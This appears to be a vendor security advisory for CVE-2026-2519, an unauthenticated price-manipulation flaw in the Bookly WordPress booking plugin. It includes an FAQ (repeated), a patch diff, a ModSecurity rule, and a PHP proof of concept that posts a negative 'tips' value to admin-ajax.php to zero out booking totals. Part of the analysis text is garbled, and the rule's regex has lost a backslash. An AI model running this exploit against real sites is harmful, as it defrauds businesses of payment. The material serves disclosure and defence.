What is CVE-2026-2519?

CVE-2026-2519 is a medium severity vulnerability in the Bookly plugin for WordPress that allows unauthenticated attackers to manipulate pricing through the ‘tips’ parameter. By submitting a negative value, attackers can reduce the total price of bookings to zero.

How does the vulnerability work?

The vulnerability arises because the Bookly plugin does not validate user input for the ‘tips’ parameter on the server side. An attacker can send a specially crafted POST request to the plugin’s AJAX handler, including a negative number for ‘tips’, which results in a total price calculation that can be zero or negative.

Who is affected by this vulnerability?

Any WordPress site using the Bookly plugin version 27.0 or earlier is affected by this vulnerability. Administrators should check their plugin version and update if necessary.

How can I check if my site is vulnerable?

To check if your site is vulnerable, log into your WordPress admin dashboard, navigate to the Plugins section, and find the Bookly plugin. If the version is 27.0 or earlier, your site is vulnerable.

How can I fix this vulnerability?

To mitigate this vulnerability, update the Bookly plugin to version 27.1 or later, where the issue has been patched. Always ensure that your plugins are kept up to date to protect against known vulnerabilities.

What does the CVSS score of 5.3 mean?

A CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the vulnerability is not critical, it poses a risk that could lead to significant financial loss if exploited.

What are the practical risks of this vulnerability?

The primary risk is that an attacker could book appointments without payment, leading to financial loss for the business. This vulnerability requires no authentication, making it easily exploitable.

How does the proof of concept demonstrate the issue?

The proof of concept shows how an attacker can use a simple script to send a POST request to the Bookly AJAX handler with a negative ‘tips’ value. This demonstrates how the vulnerability can be exploited to achieve a zero total price for bookings.

What changes were made in the patched version?

In version 27.1, the ‘tips’ parameter was removed from the properties array to prevent blind assignment. A dedicated handler was added to sanitize the ‘tips’ input, ensuring it cannot be negative.

Is there a way to mitigate the risk without updating?

While the best solution is to update the plugin, administrators can implement web application firewalls or input validation rules to block requests that attempt to manipulate the ‘tips’ parameter until an update can be applied.

What should I do if I cannot update the plugin immediately?

If an immediate update is not possible, consider disabling the Bookly plugin temporarily or restricting access to the AJAX handler to prevent exploitation until the vulnerability can be patched.

Where can I find more information about this vulnerability?

More information about CVE-2026-2519 can be found on the National Vulnerability Database or through security advisories related to the Bookly plugin. Regularly check these resources for updates on vulnerabilities.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : April 28, 2026

CVE-2026-2519: Online Scheduling and Appointment Booking System – Bookly <= 27.0 – Unauthenticated Price Manipulation via 'tips' (bookly-responsive-appointment-booking-tool)

CVE ID CVE-2026-2519

Plugin bookly-responsive-appointment-booking-tool

Severity Medium (CVSS 5.3)

CWE 472

Vulnerable Version 27.0

Patched Version 27.1

Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2519: An unauthenticated price manipulation vulnerability in the Bookly plugin (versions tips = $tips;`.

Exploitation: An unauthenticated attacker crafts a POST request to the plugin’s AJAX handler (likely `wp-admin/admin-ajax.php` with action `bookly_update_cart` or similar) and includes a negative number in the `tips` parameter, e.g., `tips=-1000`. The plugin calculates the total price as `cart_total + tips`, resulting in a zero or negative total. The attacker can then complete the booking with zero payment.

Patch Analysis: The patch removes `’tips’` from the `$properties` array so it is no longer blindly assigned in `fillData()`. Instead, a dedicated handler is added within `fillData()` that calls `setTips( $value )` for the ‘tips’ key. The `setTips()` method now sanitizes the input using `max(0, (float) $tips)`, clamping the value to zero or higher. This prevents negative or excessively low values from reducing the total price.

Impact: An unauthenticated attacker can book appointments with a zero total price by manipulating the tips field. This can result in financial loss for the business owner, as services that should be paid for are obtained for free. The vulnerability requires no authentication and no special privileges, making it easily exploitable.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/bookly-responsive-appointment-booking-tool/lib/UserBookingData.php
+++ b/bookly-responsive-appointment-booking-tool/lib/UserBookingData.php
@@ -144,7 +144,6 @@
         // Step payment
         'coupon_code',
         'gift_code',
-        'tips',
         'deposit_full',
         // Cart item keys being edited
         'edit_cart_keys',
@@ -361,7 +360,9 @@
     public function fillData( array $data )
     {
         foreach ( $data as $name => $value ) {
-            if ( in_array( $name, $this->properties ) ) {
+            if ( $name === 'tips' ) {
+                $this->setTips( $value );
+            } elseif ( in_array( $name, $this->properties ) ) {
                 $this->{$name} = $value;
             } elseif ( $name == 'chain' ) {
                 $chain_items = $this->chain->getItems();
@@ -1898,7 +1899,7 @@
      */
     public function setTips( $tips )
     {
-        $this->tips = $tips;
+        $this->tips = max( 0, (float) $tips );

         return $this;
     }
--- a/bookly-responsive-appointment-booking-tool/main.php
+++ b/bookly-responsive-appointment-booking-tool/main.php
@@ -3,7 +3,7 @@
 Plugin Name: Bookly
 Plugin URI: https://www.booking-wp-plugin.com/?utm_source=bookly_admin&utm_medium=plugins_page&utm_campaign=plugins_page
 Description: Bookly Plugin - is a great easy-to-use and easy-to-manage booking tool for service providers who think about their customers. The plugin supports a wide range of services provided by business and individuals who offer reservations through websites. Set up any reservation quickly, pleasantly and easily with Bookly!
-Version: 27.0
+Version: 27.1
 Author: Nota-Info
 Author URI: https://www.booking-wp-plugin.com/?utm_source=bookly_admin&utm_medium=plugins_page&utm_campaign=plugins_page
 Text Domain: bookly

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-2519
# Block unauthenticated requests to Bookly AJAX endpoints that include a negative 'tips' parameter
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-2519 Bookly Price Manipulation via tips',severity:'CRITICAL',tag:'CVE-2026-2519'"
  SecRule ARGS_POST:action "@rx ^bookly_" 
    "chain"
    SecRule ARGS_POST:tips "@rx ^-d+" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2519 - Online Scheduling and Appointment Booking System – Bookly <= 27.0 - Unauthenticated Price Manipulation via 'tips'

$target_url = 'http://example.com'; // Change to target WordPress URL
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Step 1: Initialize booking session and add a service to cart
// (This step is site-specific; we simulate a basic AJAX request)

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'bookly_update_cart', // Example AJAX action; adjust based on actual plugin hooks
        'chain' => json_encode([
            ['service_id' => 1, 'number_of_persons' => 1, 'appointment_date' => '2026-01-15', 'appointment_time' => '10:00']
        ]),
        'tips' => '-999'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/bookly_cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/bookly_cookies.txt',
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded; charset=UTF-8']
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: " . substr($response, 0, 500) . "n";

// Step 2: Attempt to complete booking; the cart now has total reduced by -999
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'bookly_complete_booking',
        // Additional required fields for completion (customer data, etc.) omitted for brevity
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/bookly_cookies.txt',
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded; charset=UTF-8']
]);
$response = curl_exec($ch);
curl_close($ch);

echo "Final Response: " . substr($response, 0, 500) . "n";

Frequently Asked Questions

What is CVE-2026-2519?
Overview of the vulnerability
CVE-2026-2519 is a medium severity vulnerability in the Bookly plugin for WordPress that allows unauthenticated attackers to manipulate pricing through the ‘tips’ parameter. By submitting a negative value, attackers can reduce the total price of bookings to zero.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises because the Bookly plugin does not validate user input for the ‘tips’ parameter on the server side. An attacker can send a specially crafted POST request to the plugin’s AJAX handler, including a negative number for ‘tips’, which results in a total price calculation that can be zero or negative.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Bookly plugin version 27.0 or earlier is affected by this vulnerability. Administrators should check their plugin version and update if necessary.
How can I check if my site is vulnerable?
Steps to verify the plugin version
To check if your site is vulnerable, log into your WordPress admin dashboard, navigate to the Plugins section, and find the Bookly plugin. If the version is 27.0 or earlier, your site is vulnerable.
How can I fix this vulnerability?
Updating the plugin
To mitigate this vulnerability, update the Bookly plugin to version 27.1 or later, where the issue has been patched. Always ensure that your plugins are kept up to date to protect against known vulnerabilities.
What does the CVSS score of 5.3 mean?
Understanding the severity rating
A CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the vulnerability is not critical, it poses a risk that could lead to significant financial loss if exploited.
What are the practical risks of this vulnerability?
Potential impacts on businesses
The primary risk is that an attacker could book appointments without payment, leading to financial loss for the business. This vulnerability requires no authentication, making it easily exploitable.
How does the proof of concept demonstrate the issue?
Example of exploitation
The proof of concept shows how an attacker can use a simple script to send a POST request to the Bookly AJAX handler with a negative ‘tips’ value. This demonstrates how the vulnerability can be exploited to achieve a zero total price for bookings.
What changes were made in the patched version?
Improvements in version 27.1
In version 27.1, the ‘tips’ parameter was removed from the properties array to prevent blind assignment. A dedicated handler was added to sanitize the ‘tips’ input, ensuring it cannot be negative.
Is there a way to mitigate the risk without updating?
Temporary measures
While the best solution is to update the plugin, administrators can implement web application firewalls or input validation rules to block requests that attempt to manipulate the ‘tips’ parameter until an update can be applied.
What should I do if I cannot update the plugin immediately?
Immediate actions to take
If an immediate update is not possible, consider disabling the Bookly plugin temporarily or restricting access to the AJAX handler to prevent exploitation until the vulnerability can be patched.
Where can I find more information about this vulnerability?
Resources for further reading
More information about CVE-2026-2519 can be found on the National Vulnerability Database or through security advisories related to the Bookly plugin. Regularly check these resources for updates on vulnerabilities.

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